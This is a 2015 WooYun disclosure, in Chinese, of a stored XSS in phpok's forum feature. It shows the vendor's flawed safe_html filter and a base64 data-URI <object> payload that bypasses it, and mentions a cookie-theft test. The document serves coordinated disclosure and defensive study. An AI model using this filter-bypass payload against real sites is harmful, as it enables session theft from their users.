当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107925

漏洞标题:phpok(safe_html)绕过导致储存型xss

相关厂商:phpok.com

漏洞作者: Pany自留地

提交时间:2015-04-20 10:51

修复时间:2015-07-19 11:38

公开时间:2015-07-19 11:38

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商已经确认,细节仅向厂商公开
2015-04-23: 细节向第三方安全合作伙伴开放
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

phpok(论坛BBS功能) 存储型xss

详细说明:

public function safe_html($content,$clear_url='')
{
$content = preg_replace_callback('/<(.+)>/isU',array($this,'_clean_xss_on'),$content);
//清除带src和href里的信息
$content = preg_replace_callback("/<(.*)(src|href)\s*=(\"|')(.+)(\\3)(.*)>/isU",array($this,'_clean_xss_script'),$content);
//清除src传递没有引号的数据
$content = preg_replace_callback("/<(.*)(src|href)\s*=([^\s>]+)([\s|\/|>])/isU",array($this,'_clean_xss_script2'),$content);
//清除script,applet,style,title,iframe等不安全信息
$content = preg_replace("/<(^[script|applet|style|title|iframe|frame|frameset|link]+).*>[.\n\t\r]*<\/\\1>/isU",'',$content);
$content = preg_replace("/<\/?link.*?>/isU","",$content);
//清除meta信息
$content = preg_replace('/<meta(.+)>/isU','',$content);
.........
return $content;
}
绕过测试:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">


QQ截图20150414182421.png


COOkie获取测试:

QQ截图20150414182719.png


漏洞证明:

QQ截图20150414182421.png

修复方案:

继续过滤~

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-04-20 11:37

厂商回复:

收到,会在4.3版本修正这个Bug。

最新状态:

暂无


漏洞评价:

评论